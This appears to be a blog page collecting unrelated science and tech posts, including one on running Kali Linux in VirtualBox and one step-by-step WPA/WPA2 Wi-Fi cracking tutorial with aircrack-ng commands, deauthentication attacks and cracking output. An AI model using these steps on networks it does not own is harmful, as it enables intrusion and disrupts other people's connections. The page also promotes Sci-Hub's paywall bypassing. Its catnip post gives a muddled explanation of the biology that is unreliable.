The first pirate website for academic peer review research papers

The first pirate website in the world to provide mass and public access to tens of millions of research papers.

A research paper is a special publication written by scientists to be read by other researchers. Papers are primary sources necessary for research – for example, they contain detailed description of new results and experiments.

papers we have in our library:
more than 47,000,000 and growing

At this time the widest possible distribution of research papers, as well as of other scientific or educational sources, is artificially restricted by copyright laws. Such laws effectively slow down the development of science in human society. The Sci-Hub project, running from 5th September 2011, is challenging the status quo. At the moment, Sci-Hub provides access to hundreds of thousands research papers every day, effectively bypassing any paywalls and restrictions.

The Sci-Hub project supports Open Access movement in science. Research should be published in open access, i.e. be free to read.

The Open Access is a new and advanced form of scientific communication, which is going to replace outdated subscription models. We stand against unfair gain that publishers collect by creating limits to knowledge distribution.

“If it were not for Sci-Hub – I wouldn’t be able to do my thesis in Materials”

Source:

http://sci-hub.io/

Google DeepMind AI navigates a Doom-like 3D maze just by looking

Google DeepMind just entered the 90s. Fresh off their success in playing the ancient game of Go, DeepMind’s latest artificial intelligence can navigate a 3D maze reminiscent of the 1993 shooter game Doom.

Unlike most game-playing AIs, the system has no access to the game’s internal code. Instead it plays just as a human would, by looking at the screen and deciding how to proceed. This ability to navigate a 3D space by “sight” could be useful for AIs operating in the real world.

The work builds on research DeepMind published last year, in which the team trained an AI to play 49 different video games from the Atari 2600, a games console popular in the 1980s. The software wasn’t told the rules of the games, and instead had to watch the screen to come up with its own strategies to get a high score. It was able to beat a top human player in 23 of the games.

High score

That AI relied on a technique called reinforcement learning, which rewards the system for taking actions that improves its score, combined with a deep neural network that analyses and learns patterns on the game screen. It was also able to look back into its memory and study past scenarios, a technique called experience replay.

But experience replay has drawbacks that make it hard to scale up to more advanced problems. “It uses more memory and more computation per real interaction,” write the DeepMind team in its latest paper. So it has come up with a technique called asynchronous reinforcement learning, which sees multiple versions of an AI tackling a problem in parallel and comparing their experiences.

This approach requires much less computational might. While the previous system required eight days of training on high-end GPUs to play Atari games, the new AI achieved better performance on more modest CPUs in just four days. With Atari well and truly beaten, the team moved on to other games. In a simple 3D racing game (see video below) it achieved 90 per cent of a human tester’s score.

The AI’s greatest challenge came from a 3D maze game called Labyrinth, a test bed for DeepMind’s tech that resembles Doom without the shooting (see video at top). The system is rewarded for finding apples and portals, the latter of which teleport it elsewhere in the maze, and has to score as high as possible in 60 seconds.

“This task is much more challenging than [the driving game] because the agent is faced with a new maze in each episode and must learn a general strategy for exploring mazes,” write the team. It succeeded, learning a “reasonable strategy for exploring random 3D mazes using only a visual input”.

Source:

http://arxiv.org/abs/1602.01783

Kali Linux on Virtual Box in Windows

The following instructions are are how to run Kali Linux on a Windows 64-Bit Machine inside of a virtual box OS. This is strictly for educational purposes and is not safe or secure in anyway. To do that you will want to make an Excalibur USB.

You will want to download the following:

Kali Linux 64 Bit:
http://cdimage.kali.org/kali-2016.1/kali-linux-2016.1-amd64.iso

Virtual Box Download:
http://download.virtualbox.org/virtualbox/5.0.14/VirtualBox-5.0.14-105127-Win.exe

Virtual Box Extension Pack:
http://download.virtualbox.org/virtualbox/5.0.14/Oracle_VM_VirtualBox_Extension_Pack-5.0.14-105127.vbox-extpack

Step 1: Create a new Virtual Machine

I’ve already given instructions and provided links on how to get VirtualBox and install that above. If you’ve missed it, go back and install VirtualBox.

Once you’ve installed VirtualBox,

• Open it.
• Click on New to create a New Virtual Machine.

Step 1.a: Enter a name for you VBox

Enter Kali Linux 1.0.6 as the name. You’ll see Type is set to Linux automagically and version will be Linux 2.3/3.x. We will fix those later. Click Next.

Step 1.b: Allocate Memory/RAM

Default memory size is 256 MB.

Change it to 1024 (1GB).

Step 2: Create a Virtual Hard Drive

In this screen select “Create a virtual hard drive now” – 2nd option and click Create.

Step 2.a: Select Virtual Drive File type

On the next screen select “VDI” – VirtualBox Disk Image as your Hard Drive File Type. Click Next.

Step 2.b: Select Physical hard drive allocation type

Select Dynamically Allocated and click Next on Storage on Physical hard drive screen.
I will explain soon why we’ve chosen this.

Step 2.c: Allocate disk size

On “File location and size” screen, it will come up as 8.00 GB as default size and Kali Linux 1.0.6 as the name (which we’ve set on step 1.a).

Change the Virtual Hard Drive size to 20.00 GB and Click Create.

Here’s the best part.. on step 2.b we’ve selected Dynamicallt Allocated for our Storage on Physical hard drives. That means, you’re not wasting 20.00 GB disk space straight way. Usual Kali Installation install just below 5.00 GB. In this way, you will use only that much space, but your Virtual Hard Disk can increase up to 20.00 GB if you put more and more stuffs in there. An example is to downloading big dictionary files to crack WiFi passwords using Pyrit

So, yes, give it some space, it also helps avoiding some pesky installation errors.

Step 3: Modify VirtualBox settings

So far, we’ve done the followings, checklist for you:

1. Created a New Virtual Machine
2. Created Virtual Hard disk
3. Fiddled with disk properties, type and size.

At this point you should be in the following screen. Note that I am using Kali 1.0.6 x64 bit, incase you’re using 32-bit you can change those options in here.

Select Kali Linux 1.0.6 (I got many), you might have just one and click on Settings icon

Step 3.a: Select type of OS

Depending on which ISO you downloaded you should select the correct Version here.

As Kali Linux is derived from Debian, I’ve selected Debian (64-bit) on General > Basic > Version. If you’re using a 32-bit ISO, select Debian (32-bit) as your version.

Step 3.b: Enable shared clipboard and dragn’drop feature

Select General > Advanced TAB and change Shared Clipboard and Dragn’Drop to Bidirectional. This will allow you to copy paste files from your HOST machine on the fly.

Step 3.c: Update Virtual Motherboard options

Select System > Motherboard, un-check Floppy (Do you even have a floppy disk drive anymore?) and Check the box for “Enable I/O APIC”. Note that you can change base memory allocation in the same screen. We’ve set it to 1024MB previously. My PC got 8.00GB RAM, which means I can actually allocate a lot more to make Kali response faster on my Virtual Machine. If you feel your Virtualized Kali Linux is slow, you should increase this Base Memory allocation.

The calculations are as follows:

1.00 GB = 1024MB
2.00 GB = 2048MB
3.00 GB = 3072MB

You get the idea, just multiply 1024 with the amount of Memory / RaM you want and put the value in here.

Step 3.d: Select number of Processors and enable PAE/NX

I’ve changed Processor to 2 (I got 8 CPU’s in my machine, this screen will show how many you got). Try sticking with EVEN numbers here.

Check the box for “Enable PAE/NX”.

Step 3.e: Allocate Video memory and 3D acceleration

Select Display > Video and set Video Memory to 128MB. This allows you have a good responsive desktop environment.

Also check the box for “Enable 3D Acceleration”.

Step 4: Loading Kali ISO

Select Storage > Controller: IDE and highlight Empty CD ICON. Now on your right, you should be able to use the little CD ICON (it should be CD/DVD Drive: IDE Secondary Master already, if not change it) and select your downloaded ISO.

Once you select your downloaded ISO (in my case, it’s kali-linux-1.0.6-amd64.iso). See the properties and information’s changes accordingly.

Step 4.a: Select Network connection type

If your computer is connection to internet, select NAT on Network > Adapter 1. You can enable more network adapters if you feel like to play around.

Step 4.b: Enable USB 2.0 Controllers

From USB TAB, check the boxes for Enable USB Controller > Enable USB 2.0 (EHCI) Controller. Note that I got “Invalid settings detected” error at the bottom of the screen. Install VirtualBox Extension Pack to remove this error.

You need to PRESS OK and save your Settings first.

Close VirtualBox and then install VirtualBox 4.3.10 Oracle VM VirtualBox Extension Pack for All supported platforms.

It will enable virtual USB 2.0 (EHCI) device support, VirtualBox Remote Desktop Protocol (VRDP) support, Host webcam passthrough support.

Re-Open VirtualBox and Select Settings > USB again to confirm you don’t have that error anymore. Save your settings by pressing OK.

Step 4.c: Compare settings with mine

At this point your screen should be somewhat similar to mine. I’ve highlighted the imporatnt parts, if something didn’t match you can go back and enable disable those settings. Note that, for 32-bit users, it will be slightly different.

 

 

Magic Leap’s CEO, who just raised $793 million, is getting ready to mass produce his hallucinogenic technology

It’s official: The secretive “cinematic reality” startup Magic Leap has raised $793.5 million in Series C funding at an astounding $4.5 billion post-money valuation.

And according to Magic Leap CEO Rony Abovitz, that means the company’s mysterious “mixed reality lightfield” technology — which has been described by some as a combination of virtual reality and an acid trip — is getting closer to launching.

Abovitz tells Business Insider that the roughly 500-person team needed the hefty cash infusion to help it accelerate the manufacturing and launch phase of its product.

“We’re now setting up a production line to mass fabricate,” he said. “We’re sort of past the ‘sciencing the heck out it’ phase and now getting this pilot production level of it.”

When exactly the technology will become available to the public is still undetermined. Abovitz says he doesn’t want to put a date on it yet.

What is it?

So, what exactly is Magic Leap making?

Unlike virtual reality products like Facebook’s forthcoming Oculus Rift, the company doesn’t create a 3D world for you inside of a headset that a consumer must wear.

And Abovitz also describes it as “very different” from what people call augmented reality like Google Glass or Microsoft’s HoloLens, in which digital images are overlayed on real world scenery. Although Microsoft hasn’t revealed exactly how its holographic goggles will work, either, Magic Leap describes its technology as projecting digital light fields onto your retina, helping your eyes and brain see things that look like they’re part of the real world.

Source:

http://www.businessinsider.com/magic-leap-rony-abovitz-interview-on-793-million-fundraise-at-45-billion-valuation-2016-2

This new drug is as strong as morphine, but without the addiction

Scientists have developed a new drug that could be a safer alternative to morphine for medical use. The researchers found that engineered variants of endomorphin, a naturally occurring chemical in the body, are as strong as morphine when it comes to killing pain.

On top of that, the medication doesn’t produce any of the unwanted side effects that come with opium-based drugs – such as being extremely addictive. At this point, the findings only relate to tests in rats, but it’s a promising start to what could be a powerful and less problematic painkiller.

Opioid pain medications are commonly used to treat severe and chronic pain, but in addition to their habit-forming qualities, patients also build up a tolerance to them over time. Hand in hand with their addictiveness, this can makes higher doses – and overdoses in drug abuse situations – dangerous. Overdoses can cause motor impairment and potentially fatal respiratory depression, resulting in thousands of deaths in the US every year.

In contrast, the researchers found that engineered endomorphin in rats produced similar pain relief without the problems stemming from opium-based drugs.

“These side effects were absent or reduced with the new drug,” said pharmacologist and neuroscientist James Zadina from the Tulane University School of Medicine. “It’s unprecedented for a peptide to deliver such powerful pain relief with so few side effects.”

In their testing, the scientists found that their endomorphin variants produced equal or greater pain relief than morphine without causing substantially slower breathing in rats. When given a similarly potent dose of morphine to the animals, the animals experienced significant respiratory depression.

Motor coordination problems were also not evident in the rats given endomorphin, although significant impairment could be seen in animals on morphine. The engineered drug also produced far less tolerance than morphine.

To determine whether the new medication was addictive, the researchers ran several tests that they say are predictive of human drug abuse.

This included seeing whether the animals spent more time in a compartment where they received the substances. With morphine, the rats hung around, but with the endomorphin, they didn’t.

In another experiment, the rats could press a bar to produce an infusion of the drug. The animals demonstrated effort to obtain morphine, but didn’t press the bar to get the engineered drug.

The findings, published in Neuropharmacology, are an exciting development, given how problematic and destructive opium-based medications are, but it’s early days for the researchers’ neurochemical variants.

The team hopes to start human clinical trials within the next two years. If results in testing with people show similar effects to those observed in rats, we could really be onto something here.

Especially since new data came out recently showing that deaths from drug overdoses reached a new high in 2014 in the US, totalling some 47,055 people. As this is largely being driven by opiates – including prescription drugs – the sooner we can have less dangerous, non-addictive painkillers, the better.

Source:

http://www.sciencedirect.com/science/article/pii/S0028390815302203

Got Allergies? Blame Neanderthals

Humans can thank their Neanderthal ancestors for giving them the genes that fight diseases, but also for their allergies, new research suggests.

Genetic variants found in modern humans that originally came from Neanderthals may predispose the human immune system to overreact to environmental allergens, according to two new studies published today (Jan. 7) in the American Journal of Human Genetics.

But these Neanderthal loaner genes may have had a silver lining. The studies also found that interbreeding with Neanderthals may have helped ancient humans, who came from Africa, get a head start in settling Europe.

“Neanderthals, for example, had lived in Europe and western Asia for around 200,000 years before the arrival of modern humans. They were likely well-adapted to the local climate, foods and pathogens,” Janet Kelso of the Max Planck Institute for Evolutionary Anthropology in Leipzig, Germany, said in a statement. “By [Neanderthals] interbreeding with these archaic humans, we modern humans gained these advantageous adaptations.”

Source:

http://www.cell.com/ajhg/abstract/S0002-9297(15)00486-3

Why do cats love catnip? This is the scientific explanation

Even though the cats go completely crazy and some seem like they’re drugged, it’s not a drug.

Cats may appear to be the most logical animals on Earth, but when they are in the presence of catnip their behaviour changes radically. The natural chemicals that the plant produces cause our feline friends to become addicted to its aroma and consequently produces an effect of ecstasy.

Even though the cats go completely crazy and some seem drugged, it’s not a drug. It’s actually an herb that belongs to the mint family, but when the leaves are broken it releases a certain chemical – an ingredient known as Nepetalactone – that most cats respond to.

The natural chemical Nepetalactone causes some of cats to go completely berserk

But what causes this reaction? The reaction to the chemical Nepetalactone is caused by the organ that operates a cat’s five senses (touch, smell, sight, sound and taste). What’s more, the cats that respond to catnip have inherited the reaction from their parents, so not all cats will respond in the same manner. So if your cat’s behaviour doesn’t change around catnip it’s nothing to warry about. About 10 to 30 percent of cats don’t go berserk over catnip.

To learn more about cats and their reaction to catnip, be sure to watch the video below!

How to Hack Wifi WPA Keys

Forget your Key for your internet? No problem. In this blog I will show you how to hack it. Remember this is to be used on your own network and for educational purposes only.

Firstly, know right now. That wifi card you have built into your computer is not going to work. Neither is the one on your phone so you must have an upgraded one with a specific chipset. You’ll need a wireless adapter that’s capable of packet injection.

I recommend one of these:

Alfa AWUS036NHA

These external wifis can be attached to laptop or phone using dongles and will have all the hardware you need to do what you go to do.

Next you will need to being running Kali Linux. If you need help setting that up I recommend checking out my blog on how to make an Excalibur USB Stick that has Kali on it.

Here are the basic steps we will be going through:

• 0. Install the latest aircrack-ng
• 1. Start the wireless interface in monitor mode using airmon-ng
• 2. Start airodump-ng on AP channel with filter for BSSID to collect authentication handshake
• 3. [Optional] Use aireplay-ng to deauthenticate the wireless client
• 4. Run aircrack-ng to crack the WPA/WPA2-PSK using the authentication handshake

0. Install the Latest Aircrack-ng

Install the required dependencies :

$ sudo apt-get install build-essential libssl-dev libnl-3-dev pkg-config libnl-genl-3-dev

Download and install the latest aircrack-ng :

$ wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc1.tar.gz -O – | tar -xz
$ cd aircrack-ng-1.2-rc1
$ sudo make
$ sudo make install

Be sure to check that the version of aircrack-ng is up-to-date because you may see problems with older versions.

$ aircrack-ng --help | head -3

  Aircrack-ng 1.2 beta3 r2393 - (C) 2006-2013 Thomas d'Otreppe
  http://www.aircrack-ng.org

1. Start the Wireless Interface in Monitor Mode

Find and stop all processes that could cause trouble :

$ sudo airmon-ng check kill

Start the wireless interface in monitor mode :

$ sudo airmon-ng start wlan0

Notice that airmon-ng enabled monitor-mode on mon0 :

Interface	Chipset		Driver

wlan0		Intel 6235	iwlwifi - [phy0]
				(monitor mode enabled on mon0)

So, the correct interface name to use in later parts of the tutorial is mon0.

2. Start Airodump-ng to Collect Authentication Handshake

Now, when our wireless adapter is in monitor mode, we have the capability to see all the wireless traffic that passes by in the air.

It can be done with airodump-ng command :

$ sudo airodump-ng mon0

All of the visible APs are listed in the upper part of the screen and the clients are listed in the lower part of the screen :

CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:11:22:33:44:55  -48      212     1536   66   1  54e  WPA2 CCMP   PSK  CrackMe
66:77:88:99:00:11  -64      134     345   34   1  54e  WPA2 CCMP   PSK  SomeAP

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -44    0 - 1    114       56
00:11:22:33:44:55  GG:HH:II:JJ:KK:LL  -78    0 - 1      0       1
66:77:88:99:00:11  MM:NN:OO:PP:QQ:RR  -78    2 - 32      0       1

Now start airodump-ng on AP channel with filter for BSSID to collect authentication handshake for the access point we are interested in :

$ sudo airodump-ng -c 1 –bssid 00:11:22:33:44:55 -w WPAcrack mon0 –ignore-negative-one

Option	Description
-c	The channel for the wireless network
–bssid	The MAC address of the access point
-w	The file name prefix for the file which will contain authentication handshake
mon0	The wireless interface
–ignore-negative-one	Removes ‘fixed channel : -1’ message

Now wait until airodump-ng captures a handshake… or go to the step #3 if you want to force this process.

After some time you’ll notice the WPA handshake: 00:11:22:33:44:55 in the top right-hand corner of the screen.

This means airodump-ng has successfully captured the handshake.

CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46  WPA handshake: 00:11:22:33:44:55

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:11:22:33:44:55  -48      212     1536   66   1  54e  WPA2 CCMP   PSK  CrackMe

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -44    0 - 1    114       56

3. [Optional] Use Aireplay-ng to Deauthenticate the Wireless Client

This step is optional. If you can’t wait till airodump-ng captures a handshake, you can send a message to the wireless client saying that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP and we’ll capture the authentication handshake.

Send DeAuth to broadcast :
$ sudo aireplay-ng –deauth 100 -a 00:11:22:33:44:55 mon0 –ignore-negative-one

Send directed DeAuth (attack is more effective when it is targeted) :
$ sudo aireplay-ng –deauth 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0 –ignore-negative-one

Option	Description
–deauth 100	The number of de-authenticate frames you want to send (0 for unlimited)
-a	The MAC address of the access point
-c	The MAC address of the client
mon0	The wireless interface
–ignore-negative-one	Removes ‘fixed channel : -1’ message

4. Run Aircrack-ng to Crack WPA/WPA2-PSK

To crack WPA/WPA2-PSK, you need a password dictionary as input. You can download some dictionaries from here.

Crack the WPA/WPA2-PSK with the following command :

$ aircrack-ng -w wordlist.dic -b 00:11:22:33:44:55 WPAcrack.cap

Option	Description
-w	The name of the dictionary file
-b	The MAC address of the access point
WPAcrack.cap	The name of the file that contains the authentication handshake

                         Aircrack-ng 1.2 beta3 r2393

                   [00:08:11] 548872 keys tested (1425.24 k/s)

                           KEY FOUND! [ 987654321 ]

      Master Key     : 5C 9D 3F B6 24 3B 3E 0F F7 C2 51 27 D4 D3 0E 97 
                       CB F0 4A 28 00 93 4A 8E DD 04 77 A3 A1 7D 15 D5 

      Transient Key  : 3A 3E 27 5E 86 C3 01 A8 91 5A 2D 7C 97 71 D2 F8 
                       AA 03 85 99 5C BF A7 32 5B 2F CD 93 C0 5B B5 F6 
                       DB A3 C7 43 62 F4 11 34 C6 DA BA 38 29 72 4D B9 
                       A3 11 47 A6 8F 90 63 46 1B 03 89 72 79 99 21 B3 

      EAPOL HMAC     : 9F B5 F4 B9 3C 8B EA DF A0 3E F4 D4 9D F5 16 62

If you need some video instruction here is a hacker from SecureNinjaTV explaining how to do it.

 

Scientists Just Read Someone’s Brain Signals And Decoded What That Person Was Perceiving

Neuroscientists have developed a new technique that enables them to decode what people are perceiving just by looking at a readout of their brain signals. This ability to spontaneously decipher human consciousness in real-time could have wide-ranging implications, potentially leading to novel treatments for brain injuries or helping people with locked-in syndrome to communicate.

The researchers collaborated with seven epilepsy patients at a hospital in Seattle, who had a number of electrodes called electrocorticographic (ECoG) arrays implanted into their brains. These targeted the temporal and occipital lobes of the brain’s cortex, concerned with hearing and vision, respectively.

Patients were each shown a series of grayscale images of faces and houses, which flashed up on a screen in a random order for 400 milliseconds each. Using a novel framework for interpreting subjects’ brain activity data, the researchers were able to tell exactly when each patient had seen an image, and what that image contained. A report of this process has been published in the journal PLOS Computational Biology.

Lead researcher Kai Miller told IFLScience that “there have been other studies where scientists have been able to tell when a patient is looking at one type of an image or another, but the timing of this stimulus had always been known ahead of time.

“However, we were able to decode spontaneously from the signal, so we were able to look at the brain signal and say at this point in time they saw this particular type of image.” To achieve this, the team focused on two types of brain signals: event-related potentials(ERPs) and broadband.

ERPs are electrical signals emitted by neurons in each individual region of the brain. Deflections in these signals indicate that some sort of stimulation has occurred, and can therefore be used to accurately predict the timing of this stimulus. However, Miller explains that “these deflections have different shapes in different brain regions, so it’s hard to know what aspect of these signals is the most important [when attempting to decipher the nature of the stimulus].”

Broadband signals, however, provide a better indication of the average electrical output across the brain, and were found by the researchers to provide a better indication of what type of stimulus had occurred. Therefore, by using ERPs to determine the timing and broadband to determine the nature of the image that had been shown, the team was able to predict exactly what each subject had seen, and when, with greater than 95 percent accuracy.

“The breakthrough was that I was able to take different aspects of the signals that we measured and put them together in a novel way, both to show that the different aspects of the signal carry different types of information, and to read these signals to continuously decode what was going on,” said Miller.

By developing this technique further, he believes it may be one day be possible to retrain brain circuits in those who have suffered neurological damage as a result of injuries or strokes. In such cases, different brain regions may have lost the ability to communicate with one another, although Miller hopes that by reading the signals originating in one area of the brain and then artificially stimulating the region for which this information was intended, brain functionality could be restored.

“You could also imagine this being used for people who are looked in, meaning they can see but that’s about it,” he says. For instance, by decoding what they are experiencing, it may be possible to improve their prospects of communicating with others.

Source:

http://www.iflscience.com/sites/www.iflscience.com/files/styles/ifls_large/public/blog/%5Bnid%5D/brainwaves.jpg?itok=OTwZPkIO

We might not exist if not for this accident that happened 600 million years ago

Millions of years ago, a random genetic accident may have enabled all of modern multicellular life to evolve. A single change was all that was needed to make the jump from single-celled life, like bacteria, to all multicellular life, including humans, scientists reported January 7 in a study published in the journal eLIFE.

The findings not only explain a critical chapter of evolution, they also offer tantalising clues as to what goes awry when cancer cells stop functioning as team players and go back to acting like single-celled organisms, the researchers say.

Source:

http://elifesciences.org/content/5/e10147